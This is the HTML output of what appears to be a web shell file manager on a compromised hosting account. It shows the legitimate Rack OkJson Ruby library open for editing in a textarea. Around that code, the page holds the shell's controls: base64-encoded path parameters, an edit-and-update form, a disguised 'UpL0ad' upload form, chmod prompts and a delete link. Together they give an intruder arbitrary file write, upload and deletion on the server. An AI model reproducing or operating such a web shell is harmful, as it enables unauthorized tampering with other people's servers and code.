<hr>okjson.rb<form method=post action="?d=L29wdC9hbHQvcnVieTIyL2xpYjY0L3J1YnkvZ2Vtcy8yLjIuMC9nZW1zL3JhY2stMS42LjQvbGliL3JhY2svdXRpbHM%3D&f=b2tqc29uLnJi"><input name="f" value="okjson.rb"><textarea name="t"># encoding: UTF-8
#
# Copyright 2011, 2012 Keith Rarick
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the &quot;Software&quot;), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# See https://github.com/kr/okjson for updates.

require &#039;stringio&#039;

# Some parts adapted from
# https://golang.org/src/encoding/json/decode.go and
# https://golang.org/src/unicode/utf8/utf8.go
module Rack::Utils::OkJson
  Upstream = &#039;43&#039;
  extend self


  # Decodes a json document in string s and
  # returns the corresponding ruby value.
  # String s must be valid UTF-8. If you have
  # a string in some other encoding, convert
  # it first.
  #
  # String values in the resulting structure
  # will be UTF-8.
  def decode(s)
    ts = lex(s)
    v, ts = textparse(ts)
    if ts.length &gt; 0
      raise Error, &#039;trailing garbage&#039;
    end
    v
  end


  # Encodes x into a json text. It may contain only
  # Array, Hash, String, Numeric, true, false, nil.
  # (Note, this list excludes Symbol.)
  # X itself must be an Array or a Hash.
  # No other value can be encoded, and an error will
  # be raised if x contains any other value, such as
  # Nan, Infinity, Symbol, and Proc, or if a Hash key
  # is not a String.
  # Strings contained in x must be valid UTF-8.
  def encode(x)
    case x
    when Hash    then objenc(x)
    when Array   then arrenc(x)
    else
      raise Error, &#039;root value must be an Array or a Hash&#039;
    end
  end


  def valenc(x)
    case x
    when Hash    then objenc(x)
    when Array   then arrenc(x)
    when String  then strenc(x)
    when Numeric then numenc(x)
    when true    then &quot;true&quot;
    when false   then &quot;false&quot;
    when nil     then &quot;null&quot;
    else
      raise Error, &quot;cannot encode #{x.class}: #{x.inspect}&quot;
    end
  end


private


  # Parses a &quot;json text&quot; in the sense of RFC 4627.
  # Returns the parsed value and any trailing tokens.
  # Note: this is almost the same as valparse,
  # except that it does not accept atomic values.
  def textparse(ts)
    if ts.length &lt;= 0
      raise Error, &#039;empty&#039;
    end

    typ, _, val = ts[0]
    case typ
    when &#039;{&#039; then objparse(ts)
    when &#039;[&#039; then arrparse(ts)
    else
      raise Error, &quot;unexpected #{val.inspect}&quot;
    end
  end


  # Parses a &quot;value&quot; in the sense of RFC 4627.
  # Returns the parsed value and any trailing tokens.
  def valparse(ts)
    if ts.length &lt;= 0
      raise Error, &#039;empty&#039;
    end

    typ, _, val = ts[0]
    case typ
    when &#039;{&#039; then objparse(ts)
    when &#039;[&#039; then arrparse(ts)
    when :val,:str then [val, ts[1..-1]]
    else
      raise Error, &quot;unexpected #{val.inspect}&quot;
    end
  end


  # Parses an &quot;object&quot; in the sense of RFC 4627.
  # Returns the parsed value and any trailing tokens.
  def objparse(ts)
    ts = eat(&#039;{&#039;, ts)
    obj = {}

    if ts[0][0] == &#039;}&#039;
      return obj, ts[1..-1]
    end

    k, v, ts = pairparse(ts)
    obj[k] = v

    if ts[0][0] == &#039;}&#039;
      return obj, ts[1..-1]
    end

    loop do
      ts = eat(&#039;,&#039;, ts)

      k, v, ts = pairparse(ts)
      obj[k] = v

      if ts[0][0] == &#039;}&#039;
        return obj, ts[1..-1]
      end
    end
  end


  # Parses a &quot;member&quot; in the sense of RFC 4627.
  # Returns the parsed values and any trailing tokens.
  def pairparse(ts)
    (typ, _, k), ts = ts[0], ts[1..-1]
    if typ != :str
      raise Error, &quot;unexpected #{k.inspect}&quot;
    end
    ts = eat(&#039;:&#039;, ts)
    v, ts = valparse(ts)
    [k, v, ts]
  end


  # Parses an &quot;array&quot; in the sense of RFC 4627.
  # Returns the parsed value and any trailing tokens.
  def arrparse(ts)
    ts = eat(&#039;[&#039;, ts)
    arr = []

    if ts[0][0] == &#039;]&#039;
      return arr, ts[1..-1]
    end

    v, ts = valparse(ts)
    arr &lt;&lt; v

    if ts[0][0] == &#039;]&#039;
      return arr, ts[1..-1]
    end

    loop do
      ts = eat(&#039;,&#039;, ts)

      v, ts = valparse(ts)
      arr &lt;&lt; v

      if ts[0][0] == &#039;]&#039;
        return arr, ts[1..-1]
      end
    end
  end


  def eat(typ, ts)
    if ts[0][0] != typ
      raise Error, &quot;expected #{typ} (got #{ts[0].inspect})&quot;
    end
    ts[1..-1]
  end


  # Scans s and returns a list of json tokens,
  # excluding white space (as defined in RFC 4627).
  def lex(s)
    ts = []
    while s.length &gt; 0
      typ, lexeme, val = tok(s)
      if typ == nil
        raise Error, &quot;invalid character at #{s[0,10].inspect}&quot;
      end
      if typ != :space
        ts &lt;&lt; [typ, lexeme, val]
      end
      s = s[lexeme.length..-1]
    end
    ts
  end


  # Scans the first token in s and
  # returns a 3-element list, or nil
  # if s does not begin with a valid token.
  #
  # The first list element is one of
  # &#039;{&#039;, &#039;}&#039;, &#039;:&#039;, &#039;,&#039;, &#039;[&#039;, &#039;]&#039;,
  # :val, :str, and :space.
  #
  # The second element is the lexeme.
  #
  # The third element is the value of the
  # token for :val and :str, otherwise
  # it is the lexeme.
  def tok(s)
    case s[0]
    when ?{ then [&#039;{&#039;, s[0,1], s[0,1]]
    when ?} then [&#039;}&#039;, s[0,1], s[0,1]]
    when ?: then [&#039;:&#039;, s[0,1], s[0,1]]
    when ?, then [&#039;,&#039;, s[0,1], s[0,1]]
    when ?[ then [&#039;[&#039;, s[0,1], s[0,1]]
    when ?] then [&#039;]&#039;, s[0,1], s[0,1]]
    when ?n then nulltok(s)
    when ?t then truetok(s)
    when ?f then falsetok(s)
    when ?&quot; then strtok(s)
    when Spc, ?\t, ?\n, ?\r then [:space, s[0,1], s[0,1]]
    else
      numtok(s)
    end
  end


  def nulltok(s);  s[0,4] == &#039;null&#039;  ? [:val, &#039;null&#039;,  nil]   : [] end
  def truetok(s);  s[0,4] == &#039;true&#039;  ? [:val, &#039;true&#039;,  true]  : [] end
  def falsetok(s); s[0,5] == &#039;false&#039; ? [:val, &#039;false&#039;, false] : [] end


  def numtok(s)
    m = /-?([1-9][0-9]+|[0-9])([.][0-9]+)?([eE][+-]?[0-9]+)?/.match(s)
    if m &amp;&amp; m.begin(0) == 0
      if !m[2] &amp;&amp; !m[3]
        [:val, m[0], Integer(m[0])]
      elsif m[2]
        [:val, m[0], Float(m[0])]
      else
        [:val, m[0], Integer(m[1])*(10**m[3][1..-1].to_i(10))]
      end
    else
      []
    end
  end


  def strtok(s)
    m = /&quot;([^&quot;\\]|\\[&quot;\/\\bfnrt]|\\u[0-9a-fA-F]{4})*&quot;/.match(s)
    if ! m
      raise Error, &quot;invalid string literal at #{abbrev(s)}&quot;
    end
    [:str, m[0], unquote(m[0])]
  end


  def abbrev(s)
    t = s[0,10]
    p = t[&#039;`&#039;]
    t = t[0,p] if p
    t = t + &#039;...&#039; if t.length &lt; s.length
    &#039;`&#039; + t + &#039;`&#039;
  end


  # Converts a quoted json string literal q into a UTF-8-encoded string.
  # The rules are different than for Ruby, so we cannot use eval.
  # Unquote will raise an error if q contains control characters.
  def unquote(q)
    q = q[1...-1]
    a = q.dup # allocate a big enough string
    # In ruby &gt;= 1.9, a[w] is a codepoint, not a byte.
    if rubydoesenc?
      a.force_encoding(&#039;UTF-8&#039;)
    end
    r, w = 0, 0
    while r &lt; q.length
      c = q[r]
      if c == ?\\
        r += 1
        if r &gt;= q.length
          raise Error, &quot;string literal ends with a \&quot;\\\&quot;: \&quot;#{q}\&quot;&quot;
        end

        case q[r]
        when ?&quot;,?\\,?/,?&#039;
          a[w] = q[r]
          r += 1
          w += 1
        when ?b,?f,?n,?r,?t
          a[w] = Unesc[q[r]]
          r += 1
          w += 1
        when ?u
          r += 1
          uchar = begin
            hexdec4(q[r,4])
          rescue RuntimeError =&gt; e
            raise Error, &quot;invalid escape sequence \\u#{q[r,4]}: #{e}&quot;
          end
          r += 4
          if surrogate? uchar
            if q.length &gt;= r+6
              uchar1 = hexdec4(q[r+2,4])
              uchar = subst(uchar, uchar1)
              if uchar != Ucharerr
                # A valid pair; consume.
                r += 6
              end
            end
          end
          if rubydoesenc?
            a[w] = &#039;&#039; &lt;&lt; uchar
            w += 1
          else
            w += ucharenc(a, w, uchar)
          end
        else
          raise Error, &quot;invalid escape char #{q[r]} in \&quot;#{q}\&quot;&quot;
        end
      elsif c == ?&quot; || c &lt; Spc
        raise Error, &quot;invalid character in string literal \&quot;#{q}\&quot;&quot;
      else
        # Copy anything else byte-for-byte.
        # Valid UTF-8 will remain valid UTF-8.
        # Invalid UTF-8 will remain invalid UTF-8.
        # In ruby &gt;= 1.9, c is a codepoint, not a byte,
        # in which case this is still what we want.
        a[w] = c
        r += 1
        w += 1
      end
    end
    a[0,w]
  end


  # Encodes unicode character u as UTF-8
  # bytes in string a at position i.
  # Returns the number of bytes written.
  def ucharenc(a, i, u)
    if u &lt;= Uchar1max
      a[i] = (u &amp; 0xff).chr
      1
    elsif u &lt;= Uchar2max
      a[i+0] = (Utag2 | ((u&gt;&gt;6)&amp;0xff)).chr
      a[i+1] = (Utagx | (u&amp;Umaskx)).chr
      2
    elsif u &lt;= Uchar3max
      a[i+0] = (Utag3 | ((u&gt;&gt;12)&amp;0xff)).chr
      a[i+1] = (Utagx | ((u&gt;&gt;6)&amp;Umaskx)).chr
      a[i+2] = (Utagx | (u&amp;Umaskx)).chr
      3
    else
      a[i+0] = (Utag4 | ((u&gt;&gt;18)&amp;0xff)).chr
      a[i+1] = (Utagx | ((u&gt;&gt;12)&amp;Umaskx)).chr
      a[i+2] = (Utagx | ((u&gt;&gt;6)&amp;Umaskx)).chr
      a[i+3] = (Utagx | (u&amp;Umaskx)).chr
      4
    end
  end


  def hexdec4(s)
    if s.length != 4
      raise Error, &#039;short&#039;
    end
    (nibble(s[0])&lt;&lt;12) | (nibble(s[1])&lt;&lt;8) | (nibble(s[2])&lt;&lt;4) | nibble(s[3])
  end


  def subst(u1, u2)
    if Usurr1 &lt;= u1 &amp;&amp; u1 &lt; Usurr2 &amp;&amp; Usurr2 &lt;= u2 &amp;&amp; u2 &lt; Usurr3
      return ((u1-Usurr1)&lt;&lt;10) | (u2-Usurr2) + Usurrself
    end
    return Ucharerr
  end


  def surrogate?(u)
    Usurr1 &lt;= u &amp;&amp; u &lt; Usurr3
  end


  def nibble(c)
    if ?0 &lt;= c &amp;&amp; c &lt;= ?9 then c.ord - ?0.ord
    elsif ?a &lt;= c &amp;&amp; c &lt;= ?z then c.ord - ?a.ord + 10
    elsif ?A &lt;= c &amp;&amp; c &lt;= ?Z then c.ord - ?A.ord + 10
    else
      raise Error, &quot;invalid hex code #{c}&quot;
    end
  end


  def objenc(x)
    &#039;{&#039; + x.map{|k,v| keyenc(k) + &#039;:&#039; + valenc(v)}.join(&#039;,&#039;) + &#039;}&#039;
  end


  def arrenc(a)
    &#039;[&#039; + a.map{|x| valenc(x)}.join(&#039;,&#039;) + &#039;]&#039;
  end


  def keyenc(k)
    case k
    when String then strenc(k)
    else
      raise Error, &quot;Hash key is not a string: #{k.inspect}&quot;
    end
  end


  def strenc(s)
    t = StringIO.new
    t.putc(?&quot;)
    r = 0

    while r &lt; s.length
      case s[r]
      when ?&quot;  then t.print(&#039;\\&quot;&#039;)
      when ?\\ then t.print(&#039;\\\\&#039;)
      when ?\b then t.print(&#039;\\b&#039;)
      when ?\f then t.print(&#039;\\f&#039;)
      when ?\n then t.print(&#039;\\n&#039;)
      when ?\r then t.print(&#039;\\r&#039;)
      when ?\t then t.print(&#039;\\t&#039;)
      else
        c = s[r]
        # In ruby &gt;= 1.9, s[r] is a codepoint, not a byte.
        if rubydoesenc?
          begin
            # c.ord will raise an error if c is invalid UTF-8
            if c.ord &lt; Spc.ord
              c = &quot;\\u%04x&quot; % [c.ord]
            end
            t.write(c)
          rescue
            t.write(Ustrerr)
          end
        elsif c &lt; Spc
          t.write(&quot;\\u%04x&quot; % c)
        elsif Spc &lt;= c &amp;&amp; c &lt;= ?~
          t.putc(c)
        else
          n = ucharcopy(t, s, r) # ensure valid UTF-8 output
          r += n - 1 # r is incremented below
        end
      end
      r += 1
    end
    t.putc(?&quot;)
    t.string
  end


  def numenc(x)
    if ((x.nan? || x.infinite?) rescue false)
      raise Error, &quot;Numeric cannot be represented: #{x}&quot;
    end
    &quot;#{x}&quot;
  end


  # Copies the valid UTF-8 bytes of a single character
  # from string s at position i to I/O object t, and
  # returns the number of bytes copied.
  # If no valid UTF-8 char exists at position i,
  # ucharcopy writes Ustrerr and returns 1.
  def ucharcopy(t, s, i)
    n = s.length - i
    raise Utf8Error if n &lt; 1

    c0 = s[i].ord

    # 1-byte, 7-bit sequence?
    if c0 &lt; Utagx
      t.putc(c0)
      return 1
    end

    raise Utf8Error if c0 &lt; Utag2 # unexpected continuation byte?

    raise Utf8Error if n &lt; 2 # need continuation byte
    c1 = s[i+1].ord
    raise Utf8Error if c1 &lt; Utagx || Utag2 &lt;= c1

    # 2-byte, 11-bit sequence?
    if c0 &lt; Utag3
      raise Utf8Error if ((c0&amp;Umask2)&lt;&lt;6 | (c1&amp;Umaskx)) &lt;= Uchar1max
      t.putc(c0)
      t.putc(c1)
      return 2
    end

    # need second continuation byte
    raise Utf8Error if n &lt; 3

    c2 = s[i+2].ord
    raise Utf8Error if c2 &lt; Utagx || Utag2 &lt;= c2

    # 3-byte, 16-bit sequence?
    if c0 &lt; Utag4
      u = (c0&amp;Umask3)&lt;&lt;12 | (c1&amp;Umaskx)&lt;&lt;6 | (c2&amp;Umaskx)
      raise Utf8Error if u &lt;= Uchar2max
      t.putc(c0)
      t.putc(c1)
      t.putc(c2)
      return 3
    end

    # need third continuation byte
    raise Utf8Error if n &lt; 4
    c3 = s[i+3].ord
    raise Utf8Error if c3 &lt; Utagx || Utag2 &lt;= c3

    # 4-byte, 21-bit sequence?
    if c0 &lt; Utag5
      u = (c0&amp;Umask4)&lt;&lt;18 | (c1&amp;Umaskx)&lt;&lt;12 | (c2&amp;Umaskx)&lt;&lt;6 | (c3&amp;Umaskx)
      raise Utf8Error if u &lt;= Uchar3max
      t.putc(c0)
      t.putc(c1)
      t.putc(c2)
      t.putc(c3)
      return 4
    end

    raise Utf8Error
  rescue Utf8Error
    t.write(Ustrerr)
    return 1
  end


  def rubydoesenc?
    ::String.method_defined?(:force_encoding)
  end


  class Utf8Error &lt; ::StandardError
  end


  class Error &lt; ::StandardError
  end


  Utagx = 0b1000_0000
  Utag2 = 0b1100_0000
  Utag3 = 0b1110_0000
  Utag4 = 0b1111_0000
  Utag5 = 0b1111_1000
  Umaskx = 0b0011_1111
  Umask2 = 0b0001_1111
  Umask3 = 0b0000_1111
  Umask4 = 0b0000_0111
  Uchar1max = (1&lt;&lt;7) - 1
  Uchar2max = (1&lt;&lt;11) - 1
  Uchar3max = (1&lt;&lt;16) - 1
  Ucharerr = 0xFFFD # unicode &quot;replacement char&quot;
  Ustrerr = &quot;\xef\xbf\xbd&quot; # unicode &quot;replacement char&quot;
  Usurrself = 0x10000
  Usurr1 = 0xd800
  Usurr2 = 0xdc00
  Usurr3 = 0xe000

  Spc = &#039; &#039;[0]
  Unesc = {?b=&gt;?\b, ?f=&gt;?\f, ?n=&gt;?\n, ?r=&gt;?\r, ?t=&gt;?\t}
end
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /opt/alt/ruby22/lib64/ruby/gems/2.2.0/gems/rack-1.6.4/lib/rack/utils<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9hbHQvcnVieTIyL2xpYjY0L3J1YnkvZ2Vtcy8yLjIuMC9nZW1zL3JhY2stMS42LjQvbGliL3JhY2svdXRpbHM="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIyL2xpYjY0L3J1YnkvZ2Vtcy8yLjIuMC9nZW1zL3JhY2stMS42LjQvbGliL3JhY2svdXRpbHM=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>23</td></tr><tr><td></td><td><a href="?d=L29wdC9hbHQvcnVieTIyL2xpYjY0L3J1YnkvZ2Vtcy8yLjIuMC9nZW1zL3JhY2stMS42LjQvbGliL3JhY2s="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIyL2xpYjY0L3J1YnkvZ2Vtcy8yLjIuMC9nZW1zL3JhY2stMS42LjQvbGliL3JhY2svdXRpbHM=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9hbHQvcnVieTIyL2xpYjY0L3J1YnkvZ2Vtcy8yLjIuMC9nZW1zL3JhY2stMS42LjQvbGliL3JhY2svdXRpbHM=&x=b2tqc29uLnJi">X</a></td><td><a href="?d=L29wdC9hbHQvcnVieTIyL2xpYjY0L3J1YnkvZ2Vtcy8yLjIuMC9nZW1zL3JhY2stMS42LjQvbGliL3JhY2svdXRpbHM=&f=b2tqc29uLnJi"/>okjson.rb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIyL2xpYjY0L3J1YnkvZ2Vtcy8yLjIuMC9nZW1zL3JhY2stMS42LjQvbGliL3JhY2svdXRpbHM=&f=b2tqc29uLnJi&c=`+btoa(c):0" value="0644"></td><td>14135</td></tr></table>